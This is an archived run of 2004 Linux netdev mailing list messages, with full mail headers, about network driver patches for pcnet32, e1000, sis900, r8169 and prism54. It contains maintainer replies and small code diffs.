<200405271301.39344.cleanerx@au.hadiko.de> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i4RB1egi001879 X-archive-position: 5385 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: cleanerx@au.hadiko.de Precedence: bulk X-list: netdev > [r8169 dysfunction on 2.4.27-pre3] > http://www.fr.zoreil.com/people/francois/misc/20040526-2.4.27-pre3-r8169.c- >test.patch > Please report further success/failure on netdev@oss.sgi.com Hi I have applied the patch and my system is now stable even when heavy network traffic appears. I enabled NAPI for the card. The network througput is still a bit low (~12MB/s) but I guess this is due to the unpatched endpoint which is also rtl8169 because bonnie told me both harddrives of the computers are capable of more than that. System temperature dropped by 13° (from 55°) when idle for those interested in test results. Thanx for help Jens From jgarzik@pobox.com Thu May 27 10:13:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 10:13:11 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4RHD2gi030153 for ; Thu, 27 May 2004 10:13:03 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.33) id 1BTORA-0001M8-QB; Thu, 27 May 2004 18:13:01 +0100 Message-ID: <40B62190.7060805@pobox.com> Date: Thu, 27 May 2004 13:12:48 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040510 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Don Fry CC: tsbogend@alpha.franken.de, netdev@oss.sgi.com Subject: Re: [PATCH 2.6.6-bk8] pcnet32: limit frames received during interrupt. References: <200405222222.i4MMMJ512917@DYN318364BLD.beaverton.ibm.com> In-Reply-To: <200405222222.i4MMMJ512917@DYN318364BLD.beaverton.ibm.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5386 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev applied to 2.4 and 2.6 From jgarzik@pobox.com Thu May 27 10:13:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 10:13:13 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4RHD8gi030161 for ; Thu, 27 May 2004 10:13:08 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.33) id 1BTORH-0001MG-9y; Thu, 27 May 2004 18:13:07 +0100 Message-ID: <40B62197.5090504@pobox.com> Date: Thu, 27 May 2004 13:12:55 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040510 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Don Fry CC: tsbogend@alpha.franken.de, netdev@oss.sgi.com Subject: Re: [PATCH 2.6.6-bk8] pcnet32: fix bogus carrier errors with 79c973 References: <200405241933.i4OJX8024523@DYN318364BLD.beaverton.ibm.com> In-Reply-To: <200405241933.i4OJX8024523@DYN318364BLD.beaverton.ibm.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5387 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev applied to 2.4 and 2.6 From jgarzik@pobox.com Thu May 27 10:13:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 10:13:18 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4RHDFgi030201 for ; Thu, 27 May 2004 10:13:16 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.33) id 1BTORP-0001MU-4G; Thu, 27 May 2004 18:13:15 +0100 Message-ID: <40B6219F.9020905@pobox.com> Date: Thu, 27 May 2004 13:13:03 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040510 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Don Fry CC: tsbogend@alpha.franken.de, netdev@oss.sgi.com Subject: Re: [PATCH 8/5 2.6.6-bk8] pcnet32: correct printk for big-endian arch References: <200405262041.i4QKfLC27898@DYN318364BLD.beaverton.ibm.com> In-Reply-To: <200405262041.i4QKfLC27898@DYN318364BLD.beaverton.ibm.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5388 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev applied to 2.4 and 2.6 From jgarzik@pobox.com Thu May 27 10:13:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 10:13:32 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4RHDRgi030329 for ; Thu, 27 May 2004 10:13:29 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.33) id 1BTORa-0001Mg-73; Thu, 27 May 2004 18:13:26 +0100 Message-ID: <40B621AA.3020905@pobox.com> Date: Thu, 27 May 2004 13:13:14 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040510 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Don Fry CC: tsbogend@alpha.franken.de, netdev@oss.sgi.com Subject: Re: [PATCH 9/5 2.6.6-bk8] pcnet32: avoid timeout with tcpdump References: <200405262052.i4QKqss27931@DYN318364BLD.beaverton.ibm.com> In-Reply-To: <200405262052.i4QKqss27931@DYN318364BLD.beaverton.ibm.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5389 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev applied to 2.4 and 2.6 From jgarzik@pobox.com Thu May 27 10:25:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 10:25:09 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4RHP4gi031540 for ; Thu, 27 May 2004 10:25:07 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.33) id 1BTOcp-0001m8-6E; Thu, 27 May 2004 18:25:03 +0100 Message-ID: <40B62463.2030605@pobox.com> Date: Thu, 27 May 2004 13:24:51 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040510 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Kevin Curtis CC: netdev@oss.sgi.com, davem@redhat.com, jgarzik@redhat.com, Dermot Smith , Steve Scott Subject: Re: Update FarSync WAN driver in 2.4 and 2.6 References: <7C078C66B7752B438B88E11E5E20E72E25CD7E@general.hq.farsitecommunications.com> In-Reply-To: <7C078C66B7752B438B88E11E5E20E72E25CD7E@general.hq.farsitecommunications.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5390 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Kevin Curtis wrote: > Hi, > can you please respond to this e-mail and let me know when we > might expect to see our driver changes implemented in the 2.4 and 2.6 > Kernels. Ok, I applied your update to both 2.4 and 2.6 kernels. Jeff From jgarzik@pobox.com Thu May 27 10:36:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 10:36:33 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4RHaUgi032045 for ; Thu, 27 May 2004 10:36:30 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.33) id 1BTOnr-0001tk-RE; Thu, 27 May 2004 18:36:28 +0100 Message-ID: <40B62710.8010602@pobox.com> Date: Thu, 27 May 2004 13:36:16 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040510 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Roger Luethi CC: Andrew Morton , netdev@oss.sgi.com Subject: Re: [PATCH 2.6] Nuke HAS_IP_COPYSUM for net drivers References: <20040525191115.GA18454@k3.hellgate.ch> In-Reply-To: <20040525191115.GA18454@k3.hellgate.ch> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5391 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Roger Luethi wrote: > Entirely untested, but Obviously Correct(TM). HAS_IP_COPYSUM has been > utterly meaningless for a long time. I will apply to netdev-2.6 queue, which means it will get testing and review via Andrew's -mm tree. After 2.6.7 is released, I'll push upstream. > Respective patch for via-rhine follows once I know the state of its > pending patches (which I wouldn't mind getting feedback on (hint, > hint!)). Working through the backlog today, yell at me if you haven't heard anything by the end of the day :) Jeff From brazilnut@us.ibm.com Thu May 27 10:43:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 10:43:37 -0700 (PDT) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4RHhYgi000394 for ; Thu, 27 May 2004 10:43:34 -0700 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e31.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4RHhPAb459738; Thu, 27 May 2004 13:43:25 -0400 Received: from DYN318364BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.195.168]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4RHhOct363006; Thu, 27 May 2004 11:43:24 -0600 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i4RHgoQ29797; Thu, 27 May 2004 10:42:50 -0700 From: Don Fry Message-Id: <200405271742.i4RHgoQ29797@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 10 2.6.6-bk8] pcnet32: fix for patch 8 le16_to_cpu To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Thu, 27 May 2004 10:42:49 -0700 (PDT) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5392 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev Joe Perches pointed out an error in patch 8. As I looked at the results closer 3 out of 4 looked correct. This fixes the output for the last case. Output is now the same on IA32 and PPC64 hardware. --- linux-2.6.6-bk8/drivers/net/wake.pcnet32.c Wed May 26 12:29:10 2004 +++ linux-2.6.6-bk8/drivers/net/pcnet32.c Wed May 26 14:01:00 2004 @@ -1635,15 +1635,15 @@ for (i = 0 ; i < RX_RING_SIZE; i++) printk("%s %08x %04x %08x %04x", i & 1 ? "" : "\n ", le32_to_cpu(lp->rx_ring[i].base), - le16_to_cpu(-lp->rx_ring[i].buf_length), + (-le16_to_cpu(lp->rx_ring[i].buf_length)) & 0xffff, le32_to_cpu(lp->rx_ring[i].msg_length), - le16_to_cpu((unsigned)lp->rx_ring[i].status)); + le16_to_cpu(lp->rx_ring[i].status)); for (i = 0 ; i < TX_RING_SIZE; i++) printk("%s %08x %04x %08x %04x", i & 1 ? "" : "\n ", le32_to_cpu(lp->tx_ring[i].base), - le16_to_cpu(-lp->tx_ring[i].length), + (-le16_to_cpu(lp->tx_ring[i].length)) & 0xffff, le32_to_cpu(lp->tx_ring[i].misc), - le16_to_cpu((unsigned)lp->tx_ring[i].status)); + le16_to_cpu(lp->tx_ring[i].status)); printk("\n"); } pcnet32_restart(dev, 0x0042); -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Thu May 27 10:44:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 10:44:36 -0700 (PDT) Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4RHiYgi000540 for ; Thu, 27 May 2004 10:44:34 -0700 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e33.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4RHiQwc635700; Thu, 27 May 2004 13:44:26 -0400 Received: from DYN318364BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.195.168]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4RHiP5v127426; Thu, 27 May 2004 11:44:25 -0600 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i4RHhpM29809; Thu, 27 May 2004 10:43:51 -0700 From: Don Fry Message-Id: <200405271743.i4RHhpM29809@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 10 2.4.27-pre3] pcnet32: fix for patch 8 le16_to_cpu To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Thu, 27 May 2004 10:43:51 -0700 (PDT) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5393 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev Joe Perches pointed out an error in patch 8. As I looked at the results closer 3 out of 4 looked correct. This fixes the output for the last case. Output is now the same on IA32 and PPC64 hardware. --- linux-2.4.27-pre3/drivers/net/wake.pcnet32.c Wed May 26 12:30:42 2004 +++ linux-2.4.27-pre3/drivers/net/pcnet32.c Wed May 26 14:26:49 2004 @@ -1634,15 +1634,15 @@ for (i = 0 ; i < RX_RING_SIZE; i++) printk("%s %08x %04x %08x %04x", i & 1 ? "" : "\n ", le32_to_cpu(lp->rx_ring[i].base), - le16_to_cpu(-lp->rx_ring[i].buf_length), + (-le16_to_cpu(lp->rx_ring[i].buf_length)) & 0xffff, le32_to_cpu(lp->rx_ring[i].msg_length), - le16_to_cpu((unsigned)lp->rx_ring[i].status)); + le16_to_cpu(lp->rx_ring[i].status)); for (i = 0 ; i < TX_RING_SIZE; i++) printk("%s %08x %04x %08x %04x", i & 1 ? "" : "\n ", le32_to_cpu(lp->tx_ring[i].base), - le16_to_cpu(-lp->tx_ring[i].length), + (-le16_to_cpu(lp->tx_ring[i].length)) & 0xffff, le32_to_cpu(lp->tx_ring[i].misc), - le16_to_cpu((unsigned)lp->tx_ring[i].status)); + le16_to_cpu(lp->tx_ring[i].status)); printk("\n"); } pcnet32_restart(dev, 0x0042); -- Don Fry brazilnut@us.ibm.com From ganesh.venkatesan@intel.com Thu May 27 10:53:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 10:53:22 -0700 (PDT) Received: from caduceus.jf.intel.com (fmr06.intel.com [134.134.136.7]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4RHr8gi001180 for ; Thu, 27 May 2004 10:53:09 -0700 Received: from talaria.jf.intel.com (talaria.jf.intel.com [10.7.209.7]) by caduceus.jf.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.15 2004/01/30 18:16:28 root Exp $) with ESMTP id i4RHqQPD009106; Thu, 27 May 2004 17:52:26 GMT Received: from orsmsxvs041.jf.intel.com (orsmsxvs041.jf.intel.com [192.168.65.54]) by talaria.jf.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.10 2004/03/01 19:21:36 root Exp $) with SMTP id i4RHngrG011023; Thu, 27 May 2004 17:49:44 GMT Received: from orsmsx331.amr.corp.intel.com ([192.168.65.56]) by orsmsxvs041.jf.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004052710525417345 ; Thu, 27 May 2004 10:52:54 -0700 Received: from orsmsx408.amr.corp.intel.com ([192.168.65.52]) by orsmsx331.amr.corp.intel.com with Microsoft SMTPSVC(5.0.2195.6713); Thu, 27 May 2004 10:52:14 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Subject: RE: [PATCH 2.4] e1000 0/7 driver update Date: Thu, 27 May 2004 10:52:13 -0700 Message-ID: <468F3FDA28AA87429AD807992E22D07E0135F762@orsmsx408> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [PATCH 2.4] e1000 0/7 driver update Thread-Index: AcREEteLs/XQtaRSTaSYHWoistD2RwAADfww From: "Venkatesan, Ganesh" To: "Jeff Garzik" , "Netdev" X-OriginalArrivalTime: 27 May 2004 17:52:14.0212 (UTC) FILETIME=[57D8F440:01C44413] X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i4RHr8gi001180 X-archive-position: 5394 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ganesh.venkatesan@intel.com Precedence: bulk X-list: netdev Jeff: I will apply the process change to all future submittals. I agree with your decision not to apply patch 5 "enable TSO". Thanks, ganesh ------------------------------------------------- Ganesh Venkatesan Network/Storage Division, Hillsboro, OR -----Original Message----- From: Jeff Garzik [mailto:jgarzik@pobox.com] Sent: Thursday, May 27, 2004 10:48 AM To: Venkatesan, Ganesh; Netdev Subject: Re: [PATCH 2.4] e1000 0/7 driver update ganesh.venkatesan@intel.com wrote: > Jeff: > > Patches against 2.4 tot for the latest version of e1000 (5.2.52). I > verified that these patches apply*, the kernel builds fine and the driver > works as expected. Please apply these patches to the upstream kernel. Two patch submission process changes: 1) include the "1/7" number _inside_ the "[PATCH ... 2.4]" brackets. 2) please CC netdev@oss.sgi.com on patches. This allows for greater peer review. > * - p6/p7 apply with a -/+1 line offset. But this does not affect > anything. > > p1.diff - clear auto-mdix mode when the link is forced to 10/100 mbps > speeds on certain PHYs > p2.diff - workaround for link LED staying ON even when there is no link > p3.diff - fix to determine link status correctly while using fiber/serdes > interface > p4.diff - rewrite logic to estimate # of tx descriptors required for a > given packet, shrink the span for which tx_lock is held > p5.diff - enable TSO > p6.diff - ethtool_ops support > p7.diff - enable error logging I applied all patches to 2.4 and 2.6 EXCEPT patch #5 "enable TSO". Judging from your own comments, I am not confident that turning it on is productive, with the lockups still occurring. Jeff From jgarzik@pobox.com Thu May 27 11:07:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 11:07:49 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4RI7igi001855 for ; Thu, 27 May 2004 11:07:45 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.33) id 1BTPI5-0002E7-GM; Thu, 27 May 2004 19:07:41 +0100 Message-ID: <40B62E61.5090201@pobox.com> Date: Thu, 27 May 2004 14:07:29 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040510 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Don Fry CC: tsbogend@alpha.franken.de, netdev@oss.sgi.com Subject: Re: [PATCH 10 2.4.27-pre3] pcnet32: fix for patch 8 le16_to_cpu References: <200405271743.i4RHhpM29809@DYN318364BLD.beaverton.ibm.com> In-Reply-To: <200405271743.i4RHhpM29809@DYN318364BLD.beaverton.ibm.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5395 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev applied to 2.4 and 2.6 From jgarzik@pobox.com Thu May 27 11:10:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 11:10:19 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4RIA7gi002178 for ; Thu, 27 May 2004 11:10:08 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.33) id 1BTPKQ-0002FP-1V; Thu, 27 May 2004 19:10:06 +0100 Message-ID: <40B62EF0.2050003@pobox.com> Date: Thu, 27 May 2004 14:09:52 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040510 X-Accept-Language: en-us, en MIME-Version: 1.0 To: akpm@osdl.org, grischa@bitclown.de CC: Netdev Subject: Re: [patch 1/1] sis900 transceiver fix References: <200405250938.i4P9cor08103@mail.osdl.org> In-Reply-To: <200405250938.i4P9cor08103@mail.osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5396 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev akpm@osdl.org wrote: > From: Grischa Jacobs > > I had the same messages about unknown PHY transceivers and very poor transfer > rates. I figured that all but one of the transceivers had the status bit > MII_STAT_FAULT set. Selecting that one solved my problems. > > I posted this and the patch already a while ago but didn't get any response. > It would be nice if a few people could check whether this fixes/breaks it for > them. > > I just checked it with 2.6.6-rc3 and the problem is still there and gets > solved by the attached patch. > > > --- > > 25-akpm/drivers/net/sis900.c | 5 +++++ > 1 files changed, 5 insertions(+) > > diff -puN drivers/net/sis900.c~sis900-xcvr-fix drivers/net/sis900.c > --- 25/drivers/net/sis900.c~sis900-xcvr-fix Wed May 19 14:51:16 2004 > +++ 25-akpm/drivers/net/sis900.c Wed May 19 14:51:16 2004 > @@ -18,6 +18,7 @@ > preliminary Rev. 1.0 Jan. 18, 1998 > http://www.sis.com.tw/support/databook.htm > > + Jan. 7 2004 Grischa Jacobs - Skip mii's with MII_STAT_FAULT set > Rev 1.08.07 Nov. 2 2003 Daniele Venzano add suspend/resume support > Rev 1.08.06 Sep. 24 2002 Mufasa Yang bug fix for Tx timeout & add SiS963 support > Rev 1.08.05 Jun. 6 2002 Mufasa Yang bug fix for read_eeprom & Tx descriptor over-boundary > @@ -546,6 +547,10 @@ static int __init sis900_mii_probe (stru > /* the mii is not accessible, try next one */ > continue; > > + if (mii_status & MII_STAT_FAULT) > + /* ignore mii with the fault bit set */ > + continue; Rejected. The driver should just be checking for 0xffff like the other drivers. Please always cc netdev@oss.sgi.com for net driver patches, for greater review (and also to increase the number of people that will harrass me when a patch isn't speedily applied) Jeff From jgarzik@pobox.com Thu May 27 11:11:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 11:11:07 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4RIB3gi002448 for ; Thu, 27 May 2004 11:11:04 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.33) id 1BTPLJ-0002GQ-Md; Thu, 27 May 2004 19:11:01 +0100 Message-ID: <40B62F29.6090101@pobox.com> Date: Thu, 27 May 2004 14:10:49 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040510 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Luis R. Rodriguez" , Marcelo Tosatti CC: Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Subject: Re: [PATCH 0/14] prism54: bring up to sync with prism54.org cvs rep References: <20040524083003.GA3330@ruslug.rutgers.edu> <20040524085727.GR3330@ruslug.rutgers.edu> In-Reply-To: <20040524085727.GR3330@ruslug.rutgers.edu> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5397 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Luis R. Rodriguez wrote: > BTW we can supply a 2.4 prism54 patch (as new driver). Would that be > wanted? No objections here. 2.4.x is vaguely closed, though, so Marcelo may not be interested in new drivers. Jeff From jgarzik@pobox.com Thu May 27 11:13:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 11:13:55 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4RIDqgi002870 for ; Thu, 27 May 2004 11:13:53 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.33) id 1BTPO3-0002JA-L6 for netdev@oss.sgi.com; Thu, 27 May 2004 19:13:51 +0100 Message-ID: <40B62FD3.8040601@pobox.com> Date: Thu, 27 May 2004 14:13:39 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040510 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Netdev Subject: HostAP: alive or dead? Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5398 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev I've been wanting to merge it, and starting working on the generic wireless layer, for a while now. Poke. Poke. From jgarzik@pobox.com Thu May 27 11:19:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 27 May 2004 11:19:46 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4RIJhgi003306 for ; Thu, 27 May 2004 11:19:44 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.33) id 1BTPTi-0002M5-Jv; Thu, 27 May 2004 19:19:42 +0100 Message-ID: <40B63132.4050906@pobox.com> Date: Thu, 27 May 2004 14:19:30 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040510 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Luis R. Rodriguez" CC: Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Subject: Re: [PATCH 0/14] prism54: bring up to sync with prism54.org cvs rep References: <20040524083003.GA3330@ruslug.rutgers.edu> In-Reply-To: <20040524083003.GA3330@ruslug.rutgers.edu> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5399 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Luis R. Rodriguez wrote: > [PATCH 1/14 linux-2.6.7-rc1] prism54: add new private ioctls > [PATCH 2/14 linux-2.6.7-rc1] prism54: reset card on tx_timeout > [PATCH 3/14 linux-2.6.7-rc1] prism54: add iwspy support > [PATCH 4/14 linux-2.6.7-rc1] prism54: add support for avs header in monitor mode > [PATCH 5/14 linux-2.6.7-rc1] prism54: new prism54 kernel compatibility > [PATCH 6/14 linux-2.6.7-rc1] prism54: 